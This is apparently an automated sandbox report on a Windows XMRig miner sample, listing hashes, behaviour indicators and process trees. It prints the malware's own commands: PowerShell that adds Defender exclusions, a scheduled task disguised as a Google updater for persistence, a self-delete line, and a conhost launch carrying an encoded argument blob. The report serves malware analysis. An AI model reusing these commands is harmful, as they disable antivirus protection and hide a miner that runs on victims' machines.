xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
404s
max time network
1808s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
24/01/2024, 17:15

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General

Target
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Size 2.0MB
Sample240124-vstf4aecaj
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2276 created 1420	2276	JqLvG94UkYjhxAeg.exe	20
PID 2276 created 1420	2276	JqLvG94UkYjhxAeg.exe	20
PID 2276 created 1420	2276	JqLvG94UkYjhxAeg.exe	20
PID 2276 created 1420	2276	JqLvG94UkYjhxAeg.exe	20
PID 2064 created 1420	2064	updater.exe	20
PID 2064 created 1420	2064	updater.exe	20
PID 2064 created 1420	2064	updater.exe	20
PID 2064 created 1420	2064	updater.exe	20
PID 1408 created 1420	1408	conhost.exe	20
PID 2064 created 1420	2064	updater.exe	20

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral15/memory/476-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/476-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/476-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/476-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/476-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/476-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/476-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/476-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/476-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/476-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/476-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/476-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/476-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/476-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/476-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/476-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/476-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/476-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/476-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/476-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/476-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/476-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/476-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/476-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/476-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/476-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/476-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/476-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/476-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/476-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2628	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2064	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2948	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral15/memory/476-69-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/476-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/476-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/476-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/476-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/476-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/476-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/476-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/476-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/476-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/476-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/476-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/476-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/476-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/476-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/476-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/476-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/476-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/476-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/476-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/476-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/476-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/476-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/476-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/476-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/476-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/476-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/476-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/476-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/476-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/476-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2064 set thread context of 1408	2064	updater.exe	48
PID 2064 set thread context of 476	2064	updater.exe	55

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	JqLvG94UkYjhxAeg.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1468	schtasks.exe
2816	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2388	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c040d1c7b74fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2276	JqLvG94UkYjhxAeg.exe
2276	JqLvG94UkYjhxAeg.exe
2472	powershell.exe
2276	JqLvG94UkYjhxAeg.exe
2276	JqLvG94UkYjhxAeg.exe
2708	powershell.exe
2276	JqLvG94UkYjhxAeg.exe
2276	JqLvG94UkYjhxAeg.exe
2276	JqLvG94UkYjhxAeg.exe
2276	JqLvG94UkYjhxAeg.exe
1116	powershell.exe
2064	updater.exe
2064	updater.exe
1632	powershell.exe
2064	updater.exe
2064	updater.exe
880	powershell.exe
2064	updater.exe
2064	updater.exe
2064	updater.exe
2064	updater.exe
1408	conhost.exe
1408	conhost.exe
2064	updater.exe
2064	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
468	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2472	powershell.exe
Token: SeDebugPrivilege	2708	powershell.exe
Token: SeDebugPrivilege	1116	powershell.exe
Token: SeDebugPrivilege	1632	powershell.exe
Token: SeDebugPrivilege	880	powershell.exe
Token: SeDebugPrivilege	2064	updater.exe
Token: SeAssignPrimaryTokenPrivilege	2388	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2388	WMIC.exe
Token: SeSecurityPrivilege	2388	WMIC.exe
Token: SeTakeOwnershipPrivilege	2388	WMIC.exe
Token: SeLoadDriverPrivilege	2388	WMIC.exe
Token: SeSystemtimePrivilege	2388	WMIC.exe
Token: SeBackupPrivilege	2388	WMIC.exe
Token: SeRestorePrivilege	2388	WMIC.exe
Token: SeShutdownPrivilege	2388	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2388	WMIC.exe
Token: SeUndockPrivilege	2388	WMIC.exe
Token: SeManageVolumePrivilege	2388	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2388	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2388	WMIC.exe
Token: SeSecurityPrivilege	2388	WMIC.exe
Token: SeTakeOwnershipPrivilege	2388	WMIC.exe
Token: SeLoadDriverPrivilege	2388	WMIC.exe
Token: SeSystemtimePrivilege	2388	WMIC.exe
Token: SeBackupPrivilege	2388	WMIC.exe
Token: SeRestorePrivilege	2388	WMIC.exe
Token: SeShutdownPrivilege	2388	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2388	WMIC.exe
Token: SeUndockPrivilege	2388	WMIC.exe
Token: SeManageVolumePrivilege	2388	WMIC.exe
Token: SeLockMemoryPrivilege	476	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2708 wrote to memory of 2816	2708	powershell.exe	32
PID 2708 wrote to memory of 2816	2708	powershell.exe	32
PID 2708 wrote to memory of 2816	2708	powershell.exe	32
PID 2628 wrote to memory of 1384	2628	cmd.exe	39
PID 2628 wrote to memory of 1384	2628	cmd.exe	39
PID 2628 wrote to memory of 1384	2628	cmd.exe	39
PID 1116 wrote to memory of 2928	1116	powershell.exe	40
PID 1116 wrote to memory of 2928	1116	powershell.exe	40
PID 1116 wrote to memory of 2928	1116	powershell.exe	40
PID 2948 wrote to memory of 2064	2948	taskeng.exe	42
PID 2948 wrote to memory of 2064	2948	taskeng.exe	42
PID 2948 wrote to memory of 2064	2948	taskeng.exe	42
PID 880 wrote to memory of 1468	880	powershell.exe	47
PID 880 wrote to memory of 1468	880	powershell.exe	47
PID 880 wrote to memory of 1468	880	powershell.exe	47
PID 2064 wrote to memory of 1408	2064	updater.exe	48
PID 2264 wrote to memory of 2388	2264	cmd.exe	53
PID 2264 wrote to memory of 2388	2264	cmd.exe	53
PID 2264 wrote to memory of 2388	2264	cmd.exe	53
PID 2064 wrote to memory of 476	2064	updater.exe	55

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1420
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2276
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2708
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2816
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2628
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1116
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:880
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1468
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1408
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2264
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:2388
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2072
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:476

C:\Windows\system32\taskeng.exe
taskeng.exe {E775403F-8513-4B01-8887-0EBD0FE82096} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2948
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2064

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 84612689991236ae936a673a3a9a01debcab81f9f9161fcdac2335c3b2797243
MD5 a145f6e884b1ad700cfd0a27ffa3598d
SHA1 0c43f5eeb5e6667225691f8d41738f61fb82b156
SHA512 743c530fb5119e47a80a84623bac2da3f29ecdef982fc0409897a2cfc9f521cac49c985e76b440e457f62a87ee3d6bd402fdfe7b463bdd78251749f728ffd07e
SSDEEP 96:wFSCoWM8dnqvsqvJCwokFSCoWM8dnqvsEHyqvJCwor/XFlQHQK7khXlUV/:0LxUowLxAHnor/nlK7kh0
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 2.0MB
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

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memory/476-97-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/476-125-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/476-123-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/476-121-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/476-119-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/476-117-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/476-127-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/476-115-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/476-113-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/476-111-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/476-109-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/476-107-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/476-105-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/476-103-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/476-101-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/476-99-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/476-131-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/476-129-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/476-79-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/476-93-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/476-91-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/476-89-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/476-87-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/476-85-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/476-83-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/476-133-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/476-81-0x00000000007E0000-0x0000000000800000-memory.dmp

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memory/476-80-0x0000000000800000-0x0000000000820000-memory.dmp

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memory/476-95-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/476-77-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/476-76-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/476-74-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/476-72-0x00000000007E0000-0x0000000000800000-memory.dmp

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memory/476-71-0x0000000000800000-0x0000000000820000-memory.dmp

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memory/476-70-0x0000000000050000-0x0000000000070000-memory.dmp

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memory/476-69-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/880-60-0x0000000000FA0000-0x0000000001020000-memory.dmp

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memory/880-56-0x000007FEF4D00000-0x000007FEF569D000-memory.dmp

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memory/880-58-0x0000000000FA0000-0x0000000001020000-memory.dmp

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memory/880-55-0x000007FEF4D00000-0x000007FEF569D000-memory.dmp

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memory/880-61-0x000007FEF4D00000-0x000007FEF569D000-memory.dmp

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memory/880-57-0x0000000000FA0000-0x0000000001020000-memory.dmp

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memory/1116-38-0x0000000002700000-0x0000000002780000-memory.dmp

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memory/1116-37-0x0000000002700000-0x0000000002780000-memory.dmp

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memory/1116-39-0x0000000002700000-0x0000000002780000-memory.dmp

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memory/1116-40-0x000007FEF4D00000-0x000007FEF569D000-memory.dmp

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memory/1116-36-0x000007FEF4D00000-0x000007FEF569D000-memory.dmp

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memory/1116-41-0x0000000002700000-0x0000000002780000-memory.dmp

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memory/1116-42-0x000007FEF4D00000-0x000007FEF569D000-memory.dmp

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memory/1408-78-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/1408-73-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/1632-51-0x000007FEF4360000-0x000007FEF4CFD000-memory.dmp

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memory/1632-48-0x0000000000FC0000-0x0000000001040000-memory.dmp

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memory/1632-47-0x000007FEF4360000-0x000007FEF4CFD000-memory.dmp

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memory/1632-49-0x0000000000FC0000-0x0000000001040000-memory.dmp

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memory/1632-50-0x0000000000FC0000-0x0000000001040000-memory.dmp

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memory/1632-52-0x0000000000FC0000-0x0000000001040000-memory.dmp

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memory/1632-53-0x000007FEF4360000-0x000007FEF4CFD000-memory.dmp

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memory/2064-46-0x000000013F780000-0x000000013F991000-memory.dmp

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memory/2064-68-0x000000013F780000-0x000000013F991000-memory.dmp

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memory/2064-59-0x000000013F780000-0x000000013F991000-memory.dmp

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memory/2276-0-0x000000013F1E0000-0x000000013F3F1000-memory.dmp

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memory/2276-29-0x000000013F1E0000-0x000000013F3F1000-memory.dmp

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memory/2472-12-0x0000000002580000-0x0000000002600000-memory.dmp

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memory/2472-9-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

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memory/2472-5-0x000000001B0B0000-0x000000001B392000-memory.dmp

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memory/2472-6-0x0000000002350000-0x0000000002358000-memory.dmp

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memory/2472-7-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

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memory/2472-8-0x0000000002580000-0x0000000002600000-memory.dmp

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memory/2472-10-0x0000000002580000-0x0000000002600000-memory.dmp

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memory/2472-11-0x0000000002580000-0x0000000002600000-memory.dmp

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memory/2472-13-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

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memory/2708-19-0x000000001B4C0000-0x000000001B7A2000-memory.dmp

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memory/2708-27-0x000007FEF4C90000-0x000007FEF562D000-memory.dmp

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memory/2708-20-0x000007FEF4C90000-0x000007FEF562D000-memory.dmp

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memory/2708-22-0x0000000002870000-0x00000000028F0000-memory.dmp

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memory/2708-26-0x0000000002870000-0x00000000028F0000-memory.dmp

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memory/2708-21-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

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memory/2708-23-0x000007FEF4C90000-0x000007FEF562D000-memory.dmp

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memory/2708-24-0x0000000002870000-0x00000000028F0000-memory.dmp

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memory/2708-25-0x0000000002870000-0x00000000028F0000-memory.dmp

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